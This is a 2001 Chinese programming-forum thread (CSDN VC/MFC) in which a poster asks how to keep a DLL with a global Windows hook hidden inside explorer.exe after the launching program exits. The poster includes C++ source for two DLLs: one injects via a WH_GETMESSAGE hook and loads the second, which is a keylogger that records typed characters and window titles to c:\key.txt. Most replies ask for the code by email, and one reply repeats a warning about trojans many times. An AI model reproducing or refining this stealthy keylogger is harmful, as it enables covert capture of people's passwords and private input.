钩子隐藏的深入问题,(111222,panda_w、Kevin_qing,prog_st,azuo_lee,5 table, vcmfc,jiangsheng...全来

tryibest 2001-08-17 05:19:52
如何使explorer.exe挂上我写的一个2.dll
要求是用一个exe文件使explorer.exe挂上我写的一个dll,dll中有一个系统钩子
,再使exe文件结束,但dll不从explorer.exe脱离,系统钩子开始工作,可以随
explorer.exe一起生死,
下面是我看了一个delphi的例子的一些开发经验,
我先有一个exe文件调用一个1.dll,这个1.dll也是一个系统钩子,使钩子开始工作,
并在钩子工作的同时做出判断他处理消息的母体是不是explorer.exe,如果是
因为现在这一段1.dll已经在explorerl.exe的内存地址处了,我就为explorer.exe开
一个线程,loadlibrary(2.dll),并run(运行)2.dll中的另一个钩子,然后向exe程序
窗口发送WM_DESTROY消息终止exe程序,现在应该2.dll应该已经在explorer.exe中工作了
对不对?而exe程序和1.dll都已经退出.应该这个隐藏的在2.dll中的系统钩子就开始工作了对不对?
可是我可以调用2.dll中的系统钩子.但就是不能和explorer.exe捆绑,exe退出.2.dll也就退出了
还有向exe程序发WM_DESTROY消息窗口也不退出不知道是什么原因
请高手们帮助.以下是我的两个dll的原代码(高手们能不能帮我试试,是哪个地方出错了,
我对windows底层还是不太明白,大家一定要救小弟呀,先谢谢了
希望能有编译能过的原代码
一定给分
1.dll
nstall.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include "tlhelp32.h"

#pragma data_seg("sharedata")
BOOL flag=false;
#pragma data_seg()
#pragma comment(linker, "/section:sharedata,rws")
HINSTANCE hInst=NULL;
HHOOK hhook=NULL;
LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam);
DWORD WINAPI loadproc(LPVOID param);
extern "C" __declspec(dllexport) BOOL clearMyHook();
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD Reason,
LPVOID Reserved
)
{
switch(Reason)
{ /* reason */
case DLL_PROCESS_ATTACH:
hInst = hInstance;
return TRUE;
case DLL_PROCESS_DETACH:

return TRUE;
} /* reason */
return TRUE;
}

extern "C" __declspec(dllexport) BOOL setMyHook()
{
if(hhook != NULL)
return FALSE; // already hooked!
hhook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)msghook,hInst,0);
if(hhook != NULL)
{ /* success */

return TRUE;
} /* success */
return FALSE; // failed to set hook
} // setMyHook


extern "C" __declspec(dllexport) BOOL clearMyHook()
{
if(hhook!=NULL)
return FALSE;
BOOL unhooked = UnhookWindowsHookEx(hhook);
return unhooked;
} // clearMyHook

static LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam)
{
MSG *msg=(MSG *)lParam;
if(nCode < 0)
{ /* pass it on */
CallNextHookEx(hhook, nCode, wParam, lParam);
return 0;
} /* pass it on */
else if(msg->message==WM_LBUTTONDOWN)
{ /*HINSTANCE testdll;
FARPROC run=NULL;
testdll=LoadLibrary("alltest.dll");
run=GetProcAddress(testdll,"setMyHook");
if(run!=NULL)
run();
*/
BOOL bHandle;
HANDLE handleshap;
PROCESSENTRY32 lppe;
lppe.dwSize=sizeof(PROCESSENTRY32);
handleshap=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
bHandle=Process32First(handleshap,&lppe);
while(bHandle)
{
if(GetCurrentProcessId()==lppe.th32ProcessID&&lstrcmp(lppe.szExeFile,"C:\\WINDOWS\\EXPLORER.EXE")==0)
{
DWORD id;
CreateThread(NULL,0,loadproc,NULL,0,&id);

PostMessage(FindWindow("testhide",NULL),WM_DESTROY,0,0);
}

bHandle=Process32Next(handleshap,&lppe);
}



}
return CallNextHookEx(hhook, nCode, wParam, lParam);
}

DWORD WINAPI loadproc(LPVOID param)
{
HINSTANCE testdll;
FARPROC run=NULL;
testdll=LoadLibrary("alltest.dll");
run=GetProcAddress(testdll,"setMyHook");
if(run!=NULL)
run();
flag=true;
return 0;
}
2.dll

#include "stdafx.h"

#pragma data_seg(".JOE")
HANDLE hFile=NULL;
HWND prewnd=NULL;
#pragma data_seg()
#pragma comment(linker, "/section:.JOE,rws")
HINSTANCE hInst=NULL;
HHOOK hhook=NULL;
//HHOOK hhook2=NULL;
LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam);
//LRESULT CALLBACK JournalRecordProc(UINT nCode,WPARAM wParam,LPARAM lParam);
extern "C" __declspec(dllexport) BOOL clearMyHook();
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD Reason,
LPVOID Reserved
)
{
switch(Reason)
{ /* reason */
case DLL_PROCESS_ATTACH:
hInst = hInstance;
return TRUE;
case DLL_PROCESS_DETACH:
if(hhook != NULL)

clearMyHook();


return TRUE;
} /* reason */
return TRUE;
}

extern "C" __declspec(dllexport) BOOL setMyHook()
{
if(hhook != NULL)
return FALSE; // already hooked!
MessageBox(NULL,"hi","hihi",NULL);
hhook = SetWindowsHookEx(WH_GETMESSAGE,
(HOOKPROC)msghook,
hInst,
0);
// hhook2=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInst,0);
if(hhook != NULL)
{ /* success */

return TRUE;
} /* success */
return FALSE; // failed to set hook
} // setMyHook


extern "C" __declspec(dllexport) BOOL clearMyHook()
{
if(hhook!=NULL)
return FALSE;
BOOL unhooked = UnhookWindowsHookEx(hhook);
CloseHandle(hFile);
return unhooked;
} // clearMyHook

static LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode < 0)
{ /* pass it on */
CallNextHookEx(hhook, nCode, wParam, lParam);
return 0;
} /* pass it on */
LPMSG msg=(LPMSG)lParam;
char buffer;
DWORD number=0;
char winname[100];
if(msg->message==WM_CHAR)
{//如果某键被按下


buffer=(char)msg->wParam;
GetWindowText(GetParent(msg->hwnd),winname,100);
char *newname=new char[lstrlen(winname)+1];
lstrcpy(newname,winname);
hFile=CreateFile("c:\\key.txt",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
SetFilePointer(hFile,NULL,NULL,FILE_END);
if(GetParent(msg->hwnd)!=prewnd)
{
WriteFile(hFile,"\r\n",2,&number,NULL);
WriteFile(hFile,newname,lstrlen(newname)+1,&number,NULL);
WriteFile(hFile,"\r\n",2,&number,NULL);
prewnd=GetParent(msg->hwnd);
}
switch(buffer)
{
case 0x08:
SetFilePointer(hFile,-1,NULL,FILE_CURRENT);
SetEndOfFile(hFile);
break;
default:
WriteFile(hFile,&buffer,1,&number,NULL);
}
CloseHandle(hFile);

} // msghook
else if(msg->message==WM_IME_CHAR)
{
char chCharCode1 = (char)msg->wParam & 0xff;
char chCharCode2 = (char)msg->wParam >> 8;
GetWindowText(GetParent(msg->hwnd),winname,100);
char *newname=new char[lstrlen(winname)+1];
lstrcpy(newname,winname);
hFile=CreateFile("c:\\key.txt",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
SetFilePointer(hFile,NULL,NULL,FILE_END);
if(GetParent(msg->hwnd)!=prewnd)
{
if(prewnd!=NULL)
{
WriteFile(hFile,"\r\n",2,&number,NULL);
}
WriteFile(hFile,newname,lstrlen(newname)+1,&number,NULL);
WriteFile(hFile,"\r\n",2,&number,NULL);
prewnd=GetParent(msg->hwnd);
}
switch(msg->wParam)
{
case 0x08:
SetFilePointer(hFile,-2,NULL,FILE_CURRENT);
SetEndOfFile(hFile);
break;
default:
WriteFile(hFile,&chCharCode1,1,&number,NULL);
WriteFile(hFile,&chCharCode2,1,&number,NULL);
}

CloseHandle(hFile);

}
return CallNextHookEx(hhook, nCode, wParam, lParam);
}
...全文
2612 96 打赏 收藏 转发到动态 举报
写回复
用AI写文章
96 条回复
切换为时间正序
请发表友善的回复…
发表回复
bhz 2001-08-25
  • 打赏
  • 举报
回复
赶快把文章整理出来吧。
nature_jp 2001-08-24
  • 打赏
  • 举报
回复
请给我也来一份源代码
谢谢!!!
jiangping@hotmail.com
ccf123 2001-08-24
  • 打赏
  • 举报
回复
占个位。
Frank_Xu 2001-08-24
  • 打赏
  • 举报
回复
把文章和代碼貼在這里,讓菜鳥們學習學習.
tryibest 2001-08-24
  • 打赏
  • 举报
回复
这么多人,文章我还没有写呢?这几天好忙,为了写一个软件的界面,人都快疯了.过两天我会把这些功能殖入软件中,我会整理的,文章会有的,源代码也会有的
njhhack 2001-08-24
  • 打赏
  • 举报
回复
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
你把e-mail给它它会给你寄木马过来怕不怕呀
他是大黑客不要上当呀!!!!!
njhhack 2001-08-24
  • 打赏
  • 举报
回复
你把e-mail给它它会给你寄木马过来怕不怕呀
Borlandor 2001-08-23
  • 打赏
  • 举报
回复
tryibest(编の魂),真了不起,给我一份,多谢!

mswhitest@hotmail.com
shgciom 2001-08-23
  • 打赏
  • 举报
回复
tryibest(编の魂),也请一定给我一份,谢谢:
shgciom@163.net
liaokuo 2001-08-22
  • 打赏
  • 举报
回复
不要给他们,他们不是好人
CDcolor 2001-08-22
  • 打赏
  • 举报
回复
n gz
trainbox 2001-08-22
  • 打赏
  • 举报
回复
gz
zzok1 2001-08-22
  • 打赏
  • 举报
回复
收藏
quengzi 2001-08-22
  • 打赏
  • 举报
回复
我也要:snowolf@km169.net
sam1111 2001-08-22
  • 打赏
  • 举报
回复
正在学习hook,代码来一份:samliu350@msn.com
oo 2001-08-22
  • 打赏
  • 举报
回复
学习学习。whduan@263.net
Hamas 2001-08-22
  • 打赏
  • 举报
回复
上我的主页看看吧——http://hamas.126.com 或 http://hamas.363.net。
ultramarine 2001-08-21
  • 打赏
  • 举报
回复
无限谢意!
shuairan_99@263.net
yejun52 2001-08-21
  • 打赏
  • 举报
回复
我也要,呵呵,yejun52@sina.com
sagartm 2001-08-21
  • 打赏
  • 举报
回复
请给我也来一份源代码,谢谢。
rsidemail@163.com
加载更多回复(76)

16,472

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • Web++
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

试试用AI创作助手写篇文章吧